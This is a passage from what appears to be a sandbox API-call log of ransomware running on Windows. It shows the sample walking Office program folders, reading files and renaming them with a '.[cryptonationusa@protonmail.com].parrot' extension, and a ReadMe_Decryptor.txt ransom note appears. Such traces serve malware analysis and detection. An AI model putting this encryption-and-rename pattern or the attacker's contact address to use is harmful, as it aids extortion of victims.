lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\graph.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.495] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.495] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0185.496] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.497] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fe, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x2fe, lpOverlapped=0x0) returned 1 [0185.497] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.497] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GRAPH.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\graph.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.501] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0185.503] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.503] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.504] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.504] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.504] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0185.504] lstrcmpW (lpString1="Certificates", lpString2=".") returned 1 [0185.504] lstrcmpW (lpString1="Certificates", lpString2="..") returned 1 [0185.504] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0185.505] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.505] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.506] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.506] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.506] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0185.506] lstrcmpW (lpString1="groove.net", lpString2=".") returned 1 [0185.506] lstrcmpW (lpString1="groove.net", lpString2="..") returned 1 [0185.506] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.507] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.507] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.508] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.508] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.508] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0185.508] lstrcmpW (lpString1="Components", lpString2=".") returned 1 [0185.509] lstrcmpW (lpString1="Components", lpString2="..") returned 1 [0185.509] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.510] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.510] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0185.511] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.511] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.512] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.512] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2de, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2de, lpOverlapped=0x0) returned 1 [0185.512] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.513] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.517] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.517] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9af420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9af420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.518] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9af420, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfa9af420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9af420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0185.519] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.519] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.519] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.519] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.520] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.520] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0185.520] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.520] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.521] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x290, lpOverlapped=0x0) returned 1 [0185.522] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.529] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.530] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9d5580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9d5580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.530] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa9d5580, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xfa9d5580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9d5580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0185.530] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.530] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.530] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.530] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.530] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.530] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1 [0185.531] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.531] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.532] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3b0, lpOverlapped=0x0) returned 1 [0185.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.536] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.537] ReadFile (in: hFile=0x284, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0185.538] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.538] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3de, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3de, lpOverlapped=0x0) returned 1 [0185.538] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0185.546] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9fb6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9fb6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.546] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa9d5580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MANAGE~1.PAR")) returned 1 [0185.546] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.547] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.547] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9af420, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9af420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0185.547] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9d5580, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9d5580, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0185.547] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9fb6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9fb6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0185.547] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa9fb6e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfa9fb6e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0185.547] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0185.548] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0185.548] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.548] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0185.548] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0185.548] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0185.548] lstrcmpW 